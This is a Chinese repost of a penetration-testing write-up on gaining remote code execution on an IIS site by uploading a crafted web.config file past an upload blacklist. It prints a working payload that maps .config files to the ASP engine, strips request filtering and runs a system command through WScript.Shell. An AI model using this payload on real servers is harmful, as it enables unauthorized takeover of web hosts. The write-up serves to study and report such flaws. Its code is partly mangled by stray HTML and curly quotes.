上传web.config文件获取远程代码执行权限

admin

原文链接：http://www.freebuf.com/articles/web/173831.html

本文讲述的是，我通过上传一个web.config文件，绕过目标测试网站的黑名单机制，突破执行权限限制，实现ASP代码运行获取远程代码执行权限。

前言

无聊的学校实习期，做完试验后无事可做，于是，在获得对学校网站的测试授权后，我就来了兴致。经过一番简单的前期侦测之后，我发现了某个网站存在的上传功能比较有意思。从服务探测阶段可知，该网站是一台IIS服务器，遇到这种网站，我通常会在网站URL中加上/<>来进行测试，由于ASP.NET默认设置有xss攻击过滤功能，于是，服务器对/<>这样的测试返回了以下类似的错误响应消息：

[/url]

Server Error in ‘/’ Application.

A potentially dangerous Request.Path value was detected from the client (<).

在这个返回页底部，我查看到了具体的ASP.NET版本，还有一个Microsoft的服务器头信息：

Server: Microsoft-IIS/8.5

测试

有了这些信息之后，我就想看看是否存在一些未授权的文件上传功能。经过‘.aspx’、‘.asp’ 和 ‘.asmx’等不同后缀文件的上传测试后，都是返回了错误消息页面。

Description: Upload failed – Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856

唉，得试着转变下思路。因为我有好多年的ASP.NET编程经验，经过了这些不同后缀的文件执行测试之后，我多少对这个网站的上传机制有所了解。能不能上传一个包含正常元数据和与网站应用相关内容的文件呢？这里，我想到了‘.htaccess’ 文件，但由于这是一台Windows服务器，所以对应的文件应该是web.config，但我从来没尝试上传过这种.config文件啊。

Web.config文件

什么是web.config文件呢？

Web.config文件是一个XML文本文件，它用来储存ASP.NETWeb 应用程序的配置信息（如最常用的设置ASP.NETWeb 应用程序的身份验证方式），它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后，默认情况下会在根目录自动创建一个默认的Web.config文件，包括默认的配置设置，所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置，你可以在该子目录下新建一个Web.config文件，它可以提供除从父目录继承的配置信息以外的配置信息，也可以重写或修改父目录中定义的设置。web.config文件放置在要目录下则会对整个网站产生影响，如果放置在其它目录之下，则只会对当前目录产生影响。

通过web.config文件，我们可以对以下网站属性进行控制：

Database connection strings. （数据库连接字符串）

Error behavior.（错误操作）

Security.（安全性）

由于web.config文件是XML文本，不像‘.html’ 或 ‘.txt等特殊后缀格式，所以，我想尝试来上传个web.config看看，这一传可不得了，竟然没返回任何错误响应消息页面，而且这个web.config被成功上传到了目标服务器网站的某个目录下了。

利用web.config

好吧，现在我们想办法来利用这条途径，经过一番研究，我发现在[url=https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/]这篇文章中有安全人员提到过，在web.config文件中添加代码实现了ASP代码运行的方式，于是，我经过改装，在其中添加了执行系统CMD命令的代码，如下：

1. <?xml version=”1.0″ encoding=”UTF-8″?>
   
2. <configuration>
   
3. <system.webServer>
   
4. <handlers accessPolicy=”Read, Script, Write”>
   
5. <add
   
6. name=”web_config” path=”*.config” verb=”*” modules=”IsapiModule”
   
7. scriptProcessor=”%windir%\system32\inetsrv\asp.dll”
   
8. resourceType=”Unspecified” requireAccess=”Write”
   
9. preCondition=”bitness64″ />
   
10. </handlers>
    
11. <security>
    
12. <requestFiltering>
    
13. <fileExtensions>
    
14. <remove fileExtension=”.config” />
    
15. </fileExtensions>
    
16. <hiddenSegments>
    
17. <remove segment=”web.config” />
    
18. </hiddenSegments>
    
19. </requestFiltering>
    
20. </security>
    
21. </system.webServer>
    
22. <appSettings>
    
23. </appSettings>
    
24. </configuration>
    
25. <!–
    
26. <% Response.write(“-“&”->”)
    
27. Response.write(“</p>
    
28. <pre>”)</p>
    
29. <p>Set wShell1 = CreateObject(“WScript.Shell”)
    
30. Set cmd1 = wShell1.Exec(“whoami”)
    
31. output1 = cmd1.StdOut.Readall()
    
32. set cmd1 = nothing: Set wShell1 = nothing</p>
    
33. <p>Response.write(output1)
    
34. Response.write(“</pre>
    
35. <p><!-“&”-“) %>
    
36. –>

复制代码

以上代码在web.config中添加了一个可读可写权限的处理句柄程序，然后我们在<% %>之内写入了服务器端命令执行代码。当把这个web.config文件上传成功之后，浏览访问它，就会执行系统命令whoami命令，之后可成功返回 ‘nt authority\system，这样就获得了一个远程代码执行权限！是不是很屌。剩下的就是好好写一份渗透测试报告，对这个漏洞进行上报了。